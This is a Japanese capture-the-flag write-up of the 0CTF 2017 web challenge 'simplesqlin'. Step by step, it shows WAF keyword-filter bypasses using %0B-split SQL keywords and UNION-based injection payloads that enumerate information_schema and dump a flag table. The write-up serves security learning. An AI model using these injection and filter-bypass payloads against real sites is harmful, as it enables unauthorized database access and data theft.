0CTF 2017 Quals Writeup (simplesqlin)
0CTF 2017 Qualsに参加しました。wellcom以外に唯一解けたsimplesqlinのWriteupを。
CTF4bで学んだことが活かせた問題でした。
今後の自身の振り返りのため、詳細に記録します。
simplesqlin (Web 33)
問題文 : http://202.120.7.203
参考資料
SQL Injection Bypassing WAF - OWASP
CTF for ビギナーズ講義資料(ctf4b2016final_web)
調査
上記URLにアクセスすると、「0CTF News」なる簡易的なニュース一覧を表示するWebサイトだった。
全部で4つの記事(ブロック)があり、それぞれ<h3>タイトル、<div>説明文、<a>リンクの構成になっている。
先頭記事のリンク(http://202.120.7.203/?id=1)にアクセスすると、その記事だけのページが表示される。(他のリンクも同様)
idの値をnull(id=null)にするとリンク以外表示されない。でもレスポンス200で正常に帰ってくる。(php内の処理で失敗すると500)
?id=1 or id=2
1つめの記事が表示される。
?id=1 or id=4 order by id desc
4つめの記事が表示される。
?id=null or 1 order by id desc
4つめの記事が表示される。この結果から、SELECTしてきた中から先頭の情報しか表示しないことに気づいた。
?id=1 #hello
エラーなく1つめの記事が表示される。「#」が有効に使えることからDBはMySQLであると判断。
2番目の記事に記載がある通り、このWebサイトはWAFにより不正な文字列をブロックしているらしい。
試しに、http://202.120.7.203/?id=selectとアクセスすると、「Your request is blocked by waf.」と表示されてしまう。
同様にWAFにブロックされる文字列を調べると、「select」「from」「where」だった。
方針
上記の調査から、以下の方針を立てた。
・?id=部分に対して問題名の通り、SQL Injectionを試みる。
・DBからSELECTした文字列を表示するようなので、UNION SQL Injectionを用いる。
・WAFが存在するため、WAFのチェックをすり抜ける文字列を使用する。(SQL Injection Bypassing WAF)
実施
WAFバイパスのために有効な文字列の調査。最終的に以下の文字列が通った。
(通ったというより、WAFからのメッセージが表示されなかった。)
?id=se%0Blect
UNION SQL Injectionのための調査。nullを指定する数を徐々に増やし、元のSQL文でSELECTしているカラム数を調査。最終的に以下の文字列にて成功。(つまりカラム数は3つ)
?id=1 union se%0Blect null,null,null
DBがMySQLのようだったので、正しいか試す。(これはフラグを取るためには直接は関係なかった)
?id=null union se%0Blect version(),version(),version()
ここで試しに、version()を指定する箇所を変えてみると、SQL文のどの場所が、実際のWebサイトのどの部分と紐づくか?が分かった。
(このときはまだ気が付かなかったが、<div>以外の場所は、表示する文字数に制限があった。→長い文字列は表示が途中で途切れてしまう。)
?id=null union se%0blect version(),null,null →リンクに現れた。つまりidカラム。
?id=null union se%0blect null,version(),null →<h3>に現れた。
?id=null union se%0blect null,null,version() →<div>に現れた。以下の画像は左記のケース。
テーブル一覧を検索。(Webサイトの処理上、SELECTした先頭行しか表示しないため、group_concatを用いて、複数レコードを1行にまとめた。また、同じテーブル名が複数表示されるため、distinctを指定して重複排除を行った。)
?id=null union se%0blect null,null,group_concat(distinct table_name) fr%0bom information_schema.columns
末尾にnewsとflagテーブルが確認できる。flagテーブルが怪しいと判断。
flagテーブルのカラム一覧を検索。
?id=null union se%0blect null,null,group_concat(distinct column_name) fr%0bom information_schema.columns w%0bhere table_name like '%flag%'
flagテーブルはflagカラムのみだった。
flagテーブルのflagカラムをSELECTすると・・・
?id=null union se%0blect null,null,flag fr%0bom flag
フラグが手に入った。
flag{W4f_bY_paSS_f0R_CI}